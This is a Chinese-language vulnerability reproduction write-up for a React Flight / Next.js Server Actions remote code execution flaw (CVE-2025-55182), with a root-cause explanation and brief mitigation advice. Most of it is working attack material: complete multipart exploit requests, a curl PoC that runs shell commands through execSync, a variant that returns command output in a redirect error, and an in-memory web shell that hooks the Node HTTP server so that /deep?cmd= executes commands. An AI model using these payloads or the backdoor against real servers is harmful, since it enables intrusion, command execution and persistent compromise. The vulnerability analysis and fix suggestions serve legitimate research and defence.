Next.js Server Actions RCE 漏洞复现(CVE-2025-55182)
安全警告
本文档仅用于安全研究与防御测试。未经授权对生产环境进行漏洞利用可能违反法律法规。
漏洞概要
CVE-2025-55182 是存在于 React Flight 协议(Next.js Server Actions 底层通信机制)中的远程代码执行(RCE)漏洞。
攻击者通过精心构造的 multipart/form-data 请求,利用三个关键缺陷链式触发 RCE:
- 路径遍历:
getOutlinedModel未校验属性名,允许访问__proto__和constructor - 伪造 Chunk 注入:恶意对象伪装成内部
Chunk结构被直接处理 - 函数构造器劫持:通过原型链获取
Function构造函数,配合_prefix执行任意代码
影响版本:Next.js 14.3.0-canary.77 及以下(React 19.0.0-rc 系列)修复版本:请升级至最新稳定版
漏洞原理
Server Actions 与 Flight 协议
Next.js Server Actions 允许客户端直接调用服务端函数,数据通过 React Flight 协议序列化传输。当服务器收到带有 Next-Action 头的请求时,会解析请求体中的 FormData 并反序列化为执行参数。
核心漏洞点
在 ReactFlightReplyServer.js 的 getOutlinedModel 函数中,Flight 协议支持使用冒号分隔的路径进行嵌套属性访问(如 $0:users:0:name):
// 漏洞代码简化逻辑const path = reference.split(':'); // ["1", "__proto__", "then"]let value = chunk.value;for (let i = 1; i < path.length; i++) { value = value[path[i]]; // 🔴 未校验属性名,可访问原型链}攻击者利用此特性:
$1:__proto__:then→ 获取Chunk.prototype.then函数$1:constructor:constructor→ 获取全局Function构造函数
利用链分析
攻击载荷结构
POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BoundaryNext-Action: x------BoundaryContent-Disposition: form-data; name="0"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------BoundaryContent-Disposition: form-data; name="1""$@0"------BoundaryContent-Disposition: form-data; name="2"[]------Boundary--载荷字段说明
| 字段 | 值类型 | 作用 |
|---|---|---|
0 | JSON | 伪造的 Chunk 对象,注入恶意 _response |
1 | 引用 | "$@0" 创建循环引用,确保 Chunk 解析 |
2 | 数组 | 占位符,满足 $Q2 Map 引用需求 |
执行流程
- 入口触发:
decodeBoundActionMetaData调用getRoot().then()强制解析 Chunk 0 - 原型链劫持:
then: "$1:__proto__:then"→ 解析为Chunk.prototype.then,使载荷对象成为 Thenable_formData.get: "$1:constructor:constructor"→ 解析为全局Function构造函数
- 恶意代码注入:
_response._prefix包含要执行的代码字符串- 内部
$B1337(Blob 引用)触发response._formData.get(blobKey) - 由于
get已被替换为Function,实际执行:Function("恶意代码")
- RCE 触发:返回的函数对象被当作
.then()回调调用,执行execSync
复现环境
1. 搭建漏洞环境
# 创建项目npx [email protected] my-appcd my-app# 修改 package.json 使用受影响版本{ "dependencies": { "next": "14.3.0-canary.77", "react": "^19.0.0-rc-81c5ff2e04-20240521", "react-dom": "^19.0.0-rc-81c5ff2e04-20240521" }}# 安装并启动npm install --legacy-peer-depsnpm run dev2. 验证漏洞
发送基础 PoC(无回显,仅触发命令执行):
提示
以下命令中的 say haha 仅在 macOS 生效,Linux 可改为 echo pwned,Windows 改为 whoami。
curl -X POST http://localhost:3000 \ -H "Next-Action: x" \ -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \ -F '0={"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require(\"child_process\").execSync(\"say haha\");","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}' \ -F '1="$@0"' \ -F '2=[]'观察服务器日志或听到提示音确认 RCE 成功。
高级利用场景
1. 带回显的 Payload
通过异常抛出将命令执行结果返回给客户端:
POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BoundaryNext-Action: x------BoundaryContent-Disposition: form-data; name="0"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------BoundaryContent-Disposition: form-data; name="1""$@0"------BoundaryContent-Disposition: form-data; name="2"[]------Boundary--2. 内存马注入
通过异步函数劫持 http.Server.prototype.emit,植入后门:
POST /apps HTTP/1.1Content-Type: multipart/form-data; boundary=----BoundaryNext-Action: x------BoundaryContent-Disposition: form-data; name="0"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;if(req.url.startsWith('/deep')){cp.exec(req.url.split('?cmd=')[1]||'whoami',(e,o,s)=>{res.end(JSON.stringify({stdout:o.toString()}));});return;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------BoundaryContent-Disposition: form-data; name="1""$@0"------BoundaryContent-Disposition: form-data; name="2"[]------Boundary--植入后可通过 /deep?cmd=ls 执行命令。
修复建议
- 升级依赖:将 Next.js 和 React 升级至最新安全版本
- WAF 规则:拦截包含
__proto__、constructor的Next-Action请求 - 输入验证:在服务端对 Server Actions 参数进行白名单校验
- 最小权限:确保 Node.js 进程不以高权限运行,限制
child_process模块访问
参考链接
- CVE-2025-55182 官方公告
- React Flight 协议源码:
packages/react-server/src/ReactFlightReplyServer.js - Next.js GitHub Issues
技术细节
根本原因代码位置
| 文件 | 行号 | 问题 |
|---|---|---|
ReactFlightReplyServer.js | 614-615 | getOutlinedModel 未校验路径属性 |
ReactFlightReplyServer.js | 137 | 伪造 status 匹配导致非法 Chunk 处理 |
ReactFlightReplyServer.js | 468 | 未验证 chunk._response 合法性 |
ReactFlightReplyServer.js | 1066 | _formData.get 未确认类型即调用 |